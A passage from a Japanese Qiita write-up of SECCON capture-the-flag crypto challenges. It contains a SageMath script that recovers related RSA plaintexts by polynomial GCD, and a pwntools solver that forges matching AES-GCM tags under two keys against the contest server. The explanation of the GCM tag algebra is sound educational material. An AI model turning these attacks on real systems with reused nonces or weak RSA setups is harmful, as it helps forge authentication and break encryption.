        return v

    if u.degree() < 10:
        while v != 0:
            u, v = v, u % v
        return u

    R = hgcd(u, v)
    B = R * matrix([[u], [v]])
    b0, b1 = B[0,0], B[1,0]
    r = b0 % b1
    if r == 0:
        return b1

    return pgcd(b1, r)

n = 105270965659728963158005445847489568338624133794432049687688451306125971661031124713900002127418051522303660944175125387034394970179832138699578691141567745433869339567075081508781037210053642143165403433797282755555668756795483577896703080883972479419729546081868838801222887486792028810888791562604036658927
e = 137
c1 = 16725879353360743225730316963034204726319861040005120594887234855326369831320755783193769090051590949825166249781272646922803585636193915974651774390260491016720214140633640783231543045598365485211028668510203305809438787364463227009966174262553328694926283315238194084123468757122106412580182773221207234679
c2 = 54707765286024193032187360617061494734604811486186903189763791054142827180860557148652470696909890077875431762633703093692649645204708548602818564932535214931099060428833400560189627416590019522535730804324469881327808667775412214400027813470331712844449900828912439270590227229668374597433444897899112329233
encyprted_flag =  b"\xdb'\x0bL\x0f\xca\x16\xf5\x17>\xad\xfc\xe2\x10$(DVsDS~\xd3v\xe2\x86T\xb1{xL\xe53s\x90\x14\xfd\xe7\xdb\xddf\x1fx\xa3\xfc3\xcb\xb5~\x01\x9c\x91w\xa6\x03\x80&\xdb\x19xu\xedh\xe4"

def main():
    for bit in tqdm(range(2**10)):
        ls = []
        for b in range(10):
            if (bit >> b) & 1 == 0:
                ls.append(0)
            else:
                ls.append(-1)
        
        d = sum([ls[i] * (256 ** i) for i in range(10)])
        d *= 26
        d += 61631512372510506945805 ## 13 (1 + ... + 256^9)

        PR.<x> = PolynomialRing(Zmod(n))
        f = x^e - c1
        g = (x+d)^e - c2
        h = pgcd(f, g)
        m1 = -h.monic()[0]

        key = long_to_bytes(int(m1))
        if all(97 <= k < 123 for k in key):
            print(f'Found: {key}')

            key = hashlib.sha256(key).digest()
            cipher = AES.new(key, AES.MODE_ECB)
            print("flag = ", cipher.decrypt(encyprted_flag))

if __name__ == '__main__':
    main()

dual_summon

author:kurenaif
You are a beginner summoner. It's finally time to learn dual summon

nc dual-summon.seccon.games 2222
dual_summon.tar.gz ae5942284a541396737f926dc3d83705ee452753

二種類の鍵で AES (GCM モード) によって生成されたタグだけもらえるので,そこからこの二種類の鍵に対して,同じ平文を入力したときに,同じタグを生成するような平文を探す問題.

今回は 16 バイト (1 ブロック) の平文しか受け付けず,Auth Data も無いので,AES の GCM モードを雑に描くとこんな感じ
aes_gcm.png

  • $E_K$: 鍵 $K$ を使ったブロック暗号
  • $H = E_K (0^{128})$ (128 ビットの 0 を暗号化したもの)
  • $H_0 = E_k(n)$
  • $H_1 = E_k(n+1)$
  • $L = len_{64}(A) || len_{64}(C)$
    ($A$ は Auth Data, $C$ は暗号文なので,今回は鍵に関係なく常に固定の値)
  • これらの計算は,多項式 $x^{128} + x^7 + x^2 + x + 1$ で定義した有限体 $FG(2^{128})$ 上で行う

今回の AES GCM のタグ生成は,
$T = (p + H_1) H^2 + LH + H_0$
と表すことができる.

$H, H_0, H_1$ は nonce が固定のため,key が同じであれば常に同じになる.
よって,同じ鍵に対して平文 $p, p'$ を与えたときのタグ $T, T'$ は
$T = (p + H_1) H^2 + LH + H_0$
$T' = (p' + H_1) H^2 + LH + H_0$
となり,これらを足し合わせると,

\displaylines{
\begin{align*}
T + T' &= (p + H_1) H^2 + LH + H_0 + (p' + H_1) H^2 + LH + H_0 \\
&= (p + H_1) H^2 + (p' + H_1) H^2 \\
&= (p + H_1 + p' + H_1) H^2 \\
&= (p + p') H^2
\end{align*}
}

となるので,$H^2$ は
$H^2 = (T + T') / (p + p')$
で求まる.

二種類の鍵を $k_a, k_b$ とする.
一つの平文 $p$ に対する $k_a, k_b$ を使ったタグを $T_a, T_b$ とすると
$T_a = (p + H_{a, 1}) H_a^2 + LH_a + H_{a, 0}$
$T_b = (p + H_{b, 1}) H_b^2 + LH_b + H_{b, 0}$
で,この $T_a, T_b$ が $T_a = T_b$ となるようにしたい.

それぞれの式を展開すると
$T_a = P H_a^2 + H_{a, 1} H_a^2 + L H_a + H_{a, 0}$
$T_b = P H_b^2 + H_{b, 1} H_b^2 + L H_b + H_{b, 0}$
となるが,後ろ二項は平文 $0$ に対するタグ $T'_a, T'_b$ に相当する.
($T' = (0 + H_1) H^2 + LH + H_0 = H_1 H^2 + LH + H_0$)

よって,これら二式と $T'_a, T'_b$ を使うと
$p = (T'_a + T'_b) / (H_a^2 + H_b^2)$
となるので,この $p$ で同一タグを生成できる.

from pwn import *
from Crypto.Util.number import *

x = GF(2).polynomial_ring().gen()
F.<a> = GF(2**128,  modulus=x**128 + x**7 + x**2 + x + 1)
PR.<x> = PolynomialRing(F)

def main():
    io = remote('dual-summon.seccon.games', '2222')

    h2s = []
    for i in range(2):
        t1 = summon(io, i, b'\x00' * 16)
        t2 = summon(io, i, b'\x01' * 16)

        t1_poly = to_poly(t1)
        t2_poly = to_poly(t2)
        x = to_poly(b'\x01' * 16)
        tx = t1_poly + t2_poly
        h2_poly = tx / x
        h2 = to_bytes(h2_poly)

        h2s.append(h2)

        if i == 0:
            ta = t1
        else:
            tb = t1
    ha2, hb2 = h2s

    ta_poly = to_poly(ta)
    ha2_poly = to_poly(ha2)
    tb_poly = to_poly(tb)
    hb2_poly = to_poly(hb2)

    p_poly = (ta_poly + tb_poly) / (ha2_poly + hb2_poly)
    p = to_bytes(p_poly)

    dual_summon(io, p)

def to_poly(x):
    bs = Integer(int.from_bytes(x, 'big')).bits()[::-1]
    return F([0] * (128 - len(bs)) + bs)

def to_bytes(poly):
    return int(bin(poly.integer_representation())[2:].zfill(128)[::-1], 2).to_bytes(16, 'big')

def summon(io, num, name):
    io.sendlineafter(b'[1] summon, [2] dual summon >', b'1')
    io.sendlineafter(b'summon number (1 or 2) >', str(num + 1).encode())
    io.sendlineafter(b'name of sacrifice (hex) >', name.hex().encode())
    io.recvuntil(b'tag(hex) = ')
    return bytes.fromhex(io.recvline().decode())

def dual_summon(io, name):
    io.sendlineafter(b'[1] summon, [2] dual summon >', b'2')
    io.sendlineafter(b'name of sacrifice (hex) >', name.hex().encode())
    print(io.recvline())
    print(io.recvline())

if __name__ == '__main__':
    main()
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?